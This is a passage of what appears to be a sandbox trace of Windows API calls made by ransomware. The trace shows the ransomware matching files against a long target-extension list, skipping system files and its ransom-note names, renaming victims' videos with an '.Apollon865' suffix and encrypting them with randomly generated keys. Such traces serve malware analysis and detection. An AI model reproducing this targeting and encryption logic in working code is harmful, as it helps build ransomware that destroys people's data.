	[0086.892] lstrcmpiW (lpString1="mkv", lpString2="maq") returned 1
	[0086.892] lstrlenW (lpString="mar") returned 3
	[0086.892] lstrcmpiW (lpString1="mkv", lpString2="mar") returned 1
	[0086.892] lstrlenW (lpString="marshal") returned 7
	[0086.892] lstrcmpiW (lpString1="-Xq.mkv", lpString2="marshal") returned 1
	[0086.892] lstrlenW (lpString="mas") returned 3
	[0086.893] lstrcmpiW (lpString1="mkv", lpString2="mas") returned 1
	[0086.893] lstrlenW (lpString="mav") returned 3
	[0086.893] lstrcmpiW (lpString1="mkv", lpString2="mav") returned 1
	[0086.893] lstrlenW (lpString="maw") returned 3
	[0086.893] lstrcmpiW (lpString1="mkv", lpString2="maw") returned 1
	[0086.893] lstrlenW (lpString="mdbhtml") returned 7
	[0086.893] lstrcmpiW (lpString1="-Xq.mkv", lpString2="mdbhtml") returned 1
	[0086.894] lstrlenW (lpString="mdn") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="mdn") returned 1
	[0086.894] lstrlenW (lpString="mdt") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="mdt") returned 1
	[0086.894] lstrlenW (lpString="mfd") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="mfd") returned 1
	[0086.894] lstrlenW (lpString="mpd") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="mpd") returned -1
	[0086.894] lstrlenW (lpString="mrg") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="mrg") returned -1
	[0086.894] lstrlenW (lpString="mud") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="mud") returned -1
	[0086.894] lstrlenW (lpString="mwb") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="mwb") returned -1
	[0086.894] lstrlenW (lpString="myd") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="myd") returned -1
	[0086.894] lstrlenW (lpString="ndf") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="ndf") returned -1
	[0086.894] lstrlenW (lpString="nnt") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="nnt") returned -1
	[0086.894] lstrlenW (lpString="nrmlib") returned 6
	[0086.894] lstrcmpiW (lpString1="Xq.mkv", lpString2="nrmlib") returned 1
	[0086.894] lstrlenW (lpString="ns2") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="ns2") returned -1
	[0086.894] lstrlenW (lpString="ns3") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="ns3") returned -1
	[0086.894] lstrlenW (lpString="ns4") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="ns4") returned -1
	[0086.894] lstrlenW (lpString="nsf") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="nsf") returned -1
	[0086.894] lstrlenW (lpString="nv") returned 2
	[0086.894] lstrcmpiW (lpString1="kv", lpString2="nv") returned -1
	[0086.894] lstrlenW (lpString="nv2") returned 3
	[0086.894] lstrcmpiW (lpString1="mkv", lpString2="nv2") returned -1
	[0086.894] lstrlenW (lpString="nwdb") returned 4
	[0086.894] lstrcmpiW (lpString1=".mkv", lpString2="nwdb") returned -1
	[0086.894] lstrlenW (lpString="nyf") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="nyf") returned -1
	[0086.895] lstrlenW (lpString="odb") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.895] lstrlenW (lpString="odb") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.895] lstrlenW (lpString="oqy") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="oqy") returned -1
	[0086.895] lstrlenW (lpString="ora") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="ora") returned -1
	[0086.895] lstrlenW (lpString="orx") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="orx") returned -1
	[0086.895] lstrlenW (lpString="owc") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="owc") returned -1
	[0086.895] lstrlenW (lpString="p96") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="p96") returned -1
	[0086.895] lstrlenW (lpString="p97") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="p97") returned -1
	[0086.895] lstrlenW (lpString="pan") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="pan") returned -1
	[0086.895] lstrlenW (lpString="pdb") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="pdb") returned -1
	[0086.895] lstrlenW (lpString="pdm") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="pdm") returned -1
	[0086.895] lstrlenW (lpString="pnz") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="pnz") returned -1
	[0086.895] lstrlenW (lpString="qry") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="qry") returned -1
	[0086.895] lstrlenW (lpString="qvd") returned 3
	[0086.895] lstrcmpiW (lpString1="mkv", lpString2="qvd") returned -1
	[0086.895] lstrlenW (lpString="rbf") returned 3
	[0086.896] lstrcmpiW (lpString1="mkv", lpString2="rbf") returned -1
	[0086.896] lstrlenW (lpString="rctd") returned 4
	[0086.896] lstrcmpiW (lpString1=".mkv", lpString2="rctd") returned -1
	[0086.896] lstrlenW (lpString="rod") returned 3
	[0086.896] lstrcmpiW (lpString1="mkv", lpString2="rod") returned -1
	[0086.896] lstrlenW (lpString="rodx") returned 4
	[0086.896] lstrcmpiW (lpString1=".mkv", lpString2="rodx") returned -1
	[0086.896] lstrlenW (lpString="rpd") returned 3
	[0086.896] lstrcmpiW (lpString1="mkv", lpString2="rpd") returned -1
	[0086.896] lstrlenW (lpString="rsd") returned 3
	[0086.896] lstrcmpiW (lpString1="mkv", lpString2="rsd") returned -1
	[0086.896] lstrlenW (lpString="sas7bdat") returned 8
	[0086.896] lstrcmpiW (lpString1="J-Xq.mkv", lpString2="sas7bdat") returned -1
	[0086.896] lstrlenW (lpString="sbf") returned 3
	[0086.896] lstrcmpiW (lpString1="mkv", lpString2="sbf") returned -1
	[0086.896] lstrlenW (lpString="scx") returned 3
	[0086.896] lstrcmpiW (lpString1="mkv", lpString2="scx") returned -1
	[0086.896] lstrlenW (lpString="sdb") returned 3
	[0086.896] lstrcmpiW (lpString1="mkv", lpString2="sdb") returned -1
	[0086.896] lstrlenW (lpString="sdc") returned 3
	[0086.896] lstrcmpiW (lpString1="mkv", lpString2="sdc") returned -1
	[0086.896] lstrlenW (lpString="sdf") returned 3
	[0086.896] lstrcmpiW (lpString1="mkv", lpString2="sdf") returned -1
	[0086.896] lstrlenW (lpString="sis") returned 3
	[0086.896] lstrcmpiW (lpString1="mkv", lpString2="sis") returned -1
	[0086.896] lstrlenW (lpString="spq") returned 3
	[0086.896] lstrcmpiW (lpString1="mkv", lpString2="spq") returned -1
	[0086.896] lstrlenW (lpString="te") returned 2
	[0086.896] lstrcmpiW (lpString1="kv", lpString2="te") returned -1
	[0086.896] lstrlenW (lpString="teacher") returned 7
	[0086.896] lstrcmpiW (lpString1="-Xq.mkv", lpString2="teacher") returned 1
	[0086.897] lstrlenW (lpString="tmd") returned 3
	[0086.897] lstrcmpiW (lpString1="mkv", lpString2="tmd") returned -1
	[0086.897] lstrlenW (lpString="tps") returned 3
	[0086.897] lstrcmpiW (lpString1="mkv", lpString2="tps") returned -1
	[0086.897] lstrlenW (lpString="trc") returned 3
	[0086.897] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.897] lstrlenW (lpString="trc") returned 3
	[0086.897] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.897] lstrlenW (lpString="trm") returned 3
	[0086.897] lstrcmpiW (lpString1="mkv", lpString2="trm") returned -1
	[0086.897] lstrlenW (lpString="udb") returned 3
	[0086.897] lstrcmpiW (lpString1="mkv", lpString2="udb") returned -1
	[0086.897] lstrlenW (lpString="udl") returned 3
	[0086.897] lstrcmpiW (lpString1="mkv", lpString2="udl") returned -1
	[0086.897] lstrlenW (lpString="usr") returned 3
	[0086.897] lstrcmpiW (lpString1="mkv", lpString2="usr") returned -1
	[0086.897] lstrlenW (lpString="v12") returned 3
	[0086.897] lstrcmpiW (lpString1="mkv", lpString2="v12") returned -1
	[0086.897] lstrlenW (lpString="vis") returned 3
	[0086.897] lstrcmpiW (lpString1="mkv", lpString2="vis") returned -1
	[0086.897] lstrlenW (lpString="vpd") returned 3
	[0086.897] lstrcmpiW (lpString1="mkv", lpString2="vpd") returned -1
	[0086.897] lstrlenW (lpString="vvv") returned 3
	[0086.897] lstrcmpiW (lpString1="mkv", lpString2="vvv") returned -1
	[0086.897] lstrlenW (lpString="wdb") returned 3
	[0086.897] lstrcmpiW (lpString1="mkv", lpString2="wdb") returned -1
	[0086.897] lstrlenW (lpString="wmdb") returned 4
	[0086.897] lstrcmpiW (lpString1=".mkv", lpString2="wmdb") returned -1
	[0086.898] lstrlenW (lpString="wrk") returned 3
	[0086.898] lstrcmpiW (lpString1="mkv", lpString2="wrk") returned -1
	[0086.898] lstrlenW (lpString="xdb") returned 3
	[0086.898] lstrcmpiW (lpString1="mkv", lpString2="xdb") returned -1
	[0086.898] lstrlenW (lpString="xld") returned 3
	[0086.898] lstrcmpiW (lpString1="mkv", lpString2="xld") returned -1
	[0086.898] lstrlenW (lpString="xmlff") returned 5
	[0086.898] lstrcmpiW (lpString1="q.mkv", lpString2="xmlff") returned -1
	[0086.898] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\sbPuJ-Xq.mkv.Apollon865") returned 79
	[0086.898] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\sbPuJ-Xq.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\sbpuj-xq.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\sbPuJ-Xq.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\sbpuj-xq.mkv.apollon865"), dwFlags=0x1) returned 1
	[0086.907] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\sbPuJ-Xq.mkv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\sbpuj-xq.mkv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.907] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=93874) returned 1
	[0086.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.908] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.909] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.909] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.909] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x171c0, lpName=0x0) returned 0x15c
	[0086.909] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x171c0) returned 0x120000
	[0086.914] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.915] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.915] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.915] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.915] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.915] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.915] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.915] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.915] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.915] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.916] CloseHandle (hObject=0x15c) returned 1
	[0086.916] CloseHandle (hObject=0x9c) returned 1
	[0086.917] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.917] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.917] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.918] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb32890, ftCreationTime.dwHighDateTime=0x1d4c560, ftLastAccessTime.dwLowDateTime=0x1d20a7a0, ftLastAccessTime.dwHighDateTime=0x1d4c54d, ftLastWriteTime.dwLowDateTime=0x1d20a7a0, ftLastWriteTime.dwHighDateTime=0x1d4c54d, nFileSizeHigh=0x0, nFileSizeLow=0xcfe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uug0I.flv", cAlternateFileName="")) returned 1
	[0086.918] lstrcmpiW (lpString1="uug0I.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.918] lstrcmpiW (lpString1="uug0I.flv", lpString2="Apollon865.txt.exe") returned 1
	[0086.918] lstrcmpiW (lpString1="uug0I.flv", lpString2=".") returned 1
	[0086.918] lstrcmpiW (lpString1="uug0I.flv", lpString2="..") returned 1
	[0086.918] lstrcmpiW (lpString1="uug0I.flv", lpString2="windows") returned -1
	[0086.918] lstrcmpiW (lpString1="uug0I.flv", lpString2="bootmgr") returned 1
	[0086.918] lstrcmpiW (lpString1="uug0I.flv", lpString2="temp") returned 1
	[0086.918] lstrcmpiW (lpString1="uug0I.flv", lpString2="pagefile.sys") returned 1
	[0086.918] lstrcmpiW (lpString1="uug0I.flv", lpString2="boot") returned 1
	[0086.918] lstrcmpiW (lpString1="uug0I.flv", lpString2="ids.txt") returned 1
	[0086.918] lstrcmpiW (lpString1="uug0I.flv", lpString2="ntuser.dat") returned 1
	[0086.918] lstrcmpiW (lpString1="uug0I.flv", lpString2="perflogs") returned 1
	[0086.918] lstrcmpiW (lpString1="uug0I.flv", lpString2="MSBuild") returned 1
	[0086.918] lstrlenW (lpString="uug0I.flv") returned 9
	[0086.918] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\sbPuJ-Xq.mkv") returned 68
	[0086.919] lstrcpyW (in: lpString1=0x119e678, lpString2="uug0I.flv" | out: lpString1="uug0I.flv") returned="uug0I.flv"
	[0086.919] lstrlenW (lpString="uug0I.flv") returned 9
	[0086.919] lstrlenW (lpString="Apollon865") returned 10
	[0086.919] lstrlenW (lpString=".dll") returned 4
	[0086.919] lstrcmpiW (lpString1="uug0I.flv", lpString2=".dll") returned 1
	[0086.919] lstrlenW (lpString=".lnk") returned 4
	[0086.919] lstrcmpiW (lpString1="uug0I.flv", lpString2=".lnk") returned 1
	[0086.919] lstrlenW (lpString=".ini") returned 4
	[0086.919] lstrcmpiW (lpString1="uug0I.flv", lpString2=".ini") returned 1
	[0086.919] lstrlenW (lpString=".sys") returned 4
	[0086.919] lstrcmpiW (lpString1="uug0I.flv", lpString2=".sys") returned 1
	[0086.919] lstrlenW (lpString="uug0I.flv") returned 9
	[0086.919] lstrlenW (lpString="bak") returned 3
	[0086.919] lstrcmpiW (lpString1="flv", lpString2="bak") returned 1
	[0086.919] lstrlenW (lpString="ba_") returned 3
	[0086.919] lstrcmpiW (lpString1="flv", lpString2="ba_") returned 1
	[0086.919] lstrlenW (lpString="dbb") returned 3
	[0086.919] lstrcmpiW (lpString1="flv", lpString2="dbb") returned 1
	[0086.919] lstrlenW (lpString="vmdk") returned 4
	[0086.919] lstrcmpiW (lpString1=".flv", lpString2="vmdk") returned -1
	[0086.919] lstrlenW (lpString="rar") returned 3
	[0086.919] lstrcmpiW (lpString1="flv", lpString2="rar") returned -1
	[0086.919] lstrlenW (lpString="zip") returned 3
	[0086.919] lstrcmpiW (lpString1="flv", lpString2="zip") returned -1
	[0086.919] lstrlenW (lpString="tgz") returned 3
	[0086.919] lstrcmpiW (lpString1="flv", lpString2="tgz") returned -1
	[0086.919] lstrlenW (lpString="vbox") returned 4
	[0086.919] lstrcmpiW (lpString1=".flv", lpString2="vbox") returned -1
	[0086.919] lstrlenW (lpString="vdi") returned 3
	[0086.919] lstrcmpiW (lpString1="flv", lpString2="vdi") returned -1
	[0086.919] lstrlenW (lpString="vhd") returned 3
	[0086.919] lstrcmpiW (lpString1="flv", lpString2="vhd") returned -1
	[0086.919] lstrlenW (lpString="vhdx") returned 4
	[0086.919] lstrcmpiW (lpString1=".flv", lpString2="vhdx") returned -1
	[0086.919] lstrlenW (lpString="avhd") returned 4
	[0086.919] lstrcmpiW (lpString1=".flv", lpString2="avhd") returned -1
	[0086.920] lstrlenW (lpString="db") returned 2
	[0086.920] lstrcmpiW (lpString1="lv", lpString2="db") returned 1
	[0086.920] lstrlenW (lpString="db2") returned 3
	[0086.920] lstrcmpiW (lpString1="flv", lpString2="db2") returned 1
	[0086.920] lstrlenW (lpString="db3") returned 3
	[0086.920] lstrcmpiW (lpString1="flv", lpString2="db3") returned 1
	[0086.920] lstrlenW (lpString="dbf") returned 3
	[0086.920] lstrcmpiW (lpString1="flv", lpString2="dbf") returned 1
	[0086.920] lstrlenW (lpString="mdf") returned 3
	[0086.920] lstrcmpiW (lpString1="flv", lpString2="mdf") returned -1
	[0086.920] lstrlenW (lpString="mdb") returned 3
	[0086.920] lstrcmpiW (lpString1="flv", lpString2="mdb") returned -1
	[0086.920] lstrlenW (lpString="sql") returned 3
	[0086.920] lstrcmpiW (lpString1="flv", lpString2="sql") returned -1
	[0086.920] lstrlenW (lpString="sqlite") returned 6
	[0086.920] lstrcmpiW (lpString1="0I.flv", lpString2="sqlite") returned -1
	[0086.920] lstrlenW (lpString="sqlite3") returned 7
	[0086.920] lstrcmpiW (lpString1="g0I.flv", lpString2="sqlite3") returned -1
	[0086.920] lstrlenW (lpString="sqlitedb") returned 8
	[0086.920] lstrcmpiW (lpString1="ug0I.flv", lpString2="sqlitedb") returned 1
	[0086.920] lstrlenW (lpString="xml") returned 3
	[0086.920] lstrcmpiW (lpString1="flv", lpString2="xml") returned -1
	[0086.920] lstrlenW (lpString="$er") returned 3
	[0086.920] lstrcmpiW (lpString1="flv", lpString2="$er") returned 1
	[0086.920] lstrlenW (lpString="4dd") returned 3
	[0086.920] lstrcmpiW (lpString1="flv", lpString2="4dd") returned 1
	[0086.920] lstrlenW (lpString="4dl") returned 3
	[0086.920] lstrcmpiW (lpString1="flv", lpString2="4dl") returned 1
	[0086.920] lstrlenW (lpString="^^^") returned 3
	[0086.920] lstrcmpiW (lpString1="flv", lpString2="^^^") returned 1
	[0086.920] lstrlenW (lpString="abs") returned 3
	[0086.920] lstrcmpiW (lpString1="flv", lpString2="abs") returned 1
	[0086.920] lstrlenW (lpString="abx") returned 3
	[0086.920] lstrcmpiW (lpString1="flv", lpString2="abx") returned 1
	[0086.920] lstrlenW (lpString="accdb") returned 5
	[0086.920] lstrcmpiW (lpString1="I.flv", lpString2="accdb") returned 1
	[0086.920] lstrlenW (lpString="accdc") returned 5
	[0086.921] lstrcmpiW (lpString1="I.flv", lpString2="accdc") returned 1
	[0086.921] lstrlenW (lpString="accde") returned 5
	[0086.921] lstrcmpiW (lpString1="I.flv", lpString2="accde") returned 1
	[0086.921] lstrlenW (lpString="accdr") returned 5
	[0086.921] lstrcmpiW (lpString1="I.flv", lpString2="accdr") returned 1
	[0086.921] lstrlenW (lpString="accdt") returned 5
	[0086.921] lstrcmpiW (lpString1="I.flv", lpString2="accdt") returned 1
	[0086.921] lstrlenW (lpString="accdw") returned 5
	[0086.921] lstrcmpiW (lpString1="I.flv", lpString2="accdw") returned 1
	[0086.921] lstrlenW (lpString="accft") returned 5
	[0086.921] lstrcmpiW (lpString1="I.flv", lpString2="accft") returned 1
	[0086.921] lstrlenW (lpString="adb") returned 3
	[0086.921] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.921] lstrlenW (lpString="adb") returned 3
	[0086.921] lstrcmpiW (lpString1="flv", lpString2="adb") returned 1
	[0086.921] lstrlenW (lpString="ade") returned 3
	[0086.921] lstrcmpiW (lpString1="flv", lpString2="ade") returned 1
	[0086.921] lstrlenW (lpString="adf") returned 3
	[0086.921] lstrcmpiW (lpString1="flv", lpString2="adf") returned 1
	[0086.921] lstrlenW (lpString="adn") returned 3
	[0086.921] lstrcmpiW (lpString1="flv", lpString2="adn") returned 1
	[0086.921] lstrlenW (lpString="adp") returned 3
	[0086.921] lstrcmpiW (lpString1="flv", lpString2="adp") returned 1
	[0086.921] lstrlenW (lpString="alf") returned 3
	[0086.921] lstrcmpiW (lpString1="flv", lpString2="alf") returned 1
	[0086.921] lstrlenW (lpString="ask") returned 3
	[0086.921] lstrcmpiW (lpString1="flv", lpString2="ask") returned 1
	[0086.921] lstrlenW (lpString="btr") returned 3
	[0086.921] lstrcmpiW (lpString1="flv", lpString2="btr") returned 1
	[0086.921] lstrlenW (lpString="cat") returned 3
	[0086.921] lstrcmpiW (lpString1="flv", lpString2="cat") returned 1
	[0086.921] lstrlenW (lpString="cdb") returned 3
	[0086.921] lstrcmpiW (lpString1="flv", lpString2="cdb") returned 1
	[0086.921] lstrlenW (lpString="ckp") returned 3
	[0086.921] lstrcmpiW (lpString1="flv", lpString2="ckp") returned 1
	[0086.921] lstrlenW (lpString="cma") returned 3
	[0086.922] lstrcmpiW (lpString1="flv", lpString2="cma") returned 1
	[0086.922] lstrlenW (lpString="cpd") returned 3
	[0086.922] lstrcmpiW (lpString1="flv", lpString2="cpd") returned 1
	[0086.922] lstrlenW (lpString="dacpac") returned 6
	[0086.922] lstrcmpiW (lpString1="0I.flv", lpString2="dacpac") returned -1
	[0086.922] lstrlenW (lpString="dad") returned 3
	[0086.922] lstrcmpiW (lpString1="flv", lpString2="dad") returned 1
	[0086.922] lstrlenW (lpString="dadiagrams") returned 10
	[0086.922] lstrlenW (lpString="daschema") returned 8
	[0086.922] lstrcmpiW (lpString1="ug0I.flv", lpString2="daschema") returned 1
	[0086.922] lstrlenW (lpString="db-journal") returned 10
	[0086.922] lstrlenW (lpString="db-shm") returned 6
	[0086.922] lstrcmpiW (lpString1="0I.flv", lpString2="db-shm") returned -1
	[0086.922] lstrlenW (lpString="db-wal") returned 6
	[0086.922] lstrcmpiW (lpString1="0I.flv", lpString2="db-wal") returned -1
	[0086.922] lstrlenW (lpString="dbc") returned 3
	[0086.922] lstrcmpiW (lpString1="flv", lpString2="dbc") returned 1
	[0086.922] lstrlenW (lpString="dbs") returned 3
	[0086.922] lstrcmpiW (lpString1="flv", lpString2="dbs") returned 1
	[0086.922] lstrlenW (lpString="dbt") returned 3
	[0086.922] lstrcmpiW (lpString1="flv", lpString2="dbt") returned 1
	[0086.922] lstrlenW (lpString="dbv") returned 3
	[0086.922] lstrcmpiW (lpString1="flv", lpString2="dbv") returned 1
	[0086.922] lstrlenW (lpString="dbx") returned 3
	[0086.922] lstrcmpiW (lpString1="flv", lpString2="dbx") returned 1
	[0086.922] lstrlenW (lpString="dcb") returned 3
	[0086.922] lstrcmpiW (lpString1="flv", lpString2="dcb") returned 1
	[0086.923] lstrcmpiW (lpString1="flv", lpString2="dct") returned 1
	[0086.923] lstrcmpiW (lpString1="flv", lpString2="dcx") returned 1
	[0086.923] lstrcmpiW (lpString1="flv", lpString2="ddl") returned 1
	[0086.923] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\uug0I.flv.Apollon865") returned 76
	[0086.923] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\uug0I.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\uug0i.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\uug0I.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\uug0i.flv.apollon865"), dwFlags=0x1) returned 1
	[0086.925] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K\\e5e zfC0T_Di\\uug0I.flv.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\1pe8k\\e5e zfc0t_di\\uug0i.flv.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.925] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=53222) returned 1
	[0086.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.925] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.926] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.926] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.926] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd2f0, lpName=0x0) returned 0x15c
	[0086.926] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd2f0) returned 0x100000
	[0086.929] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.929] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.929] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0086.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
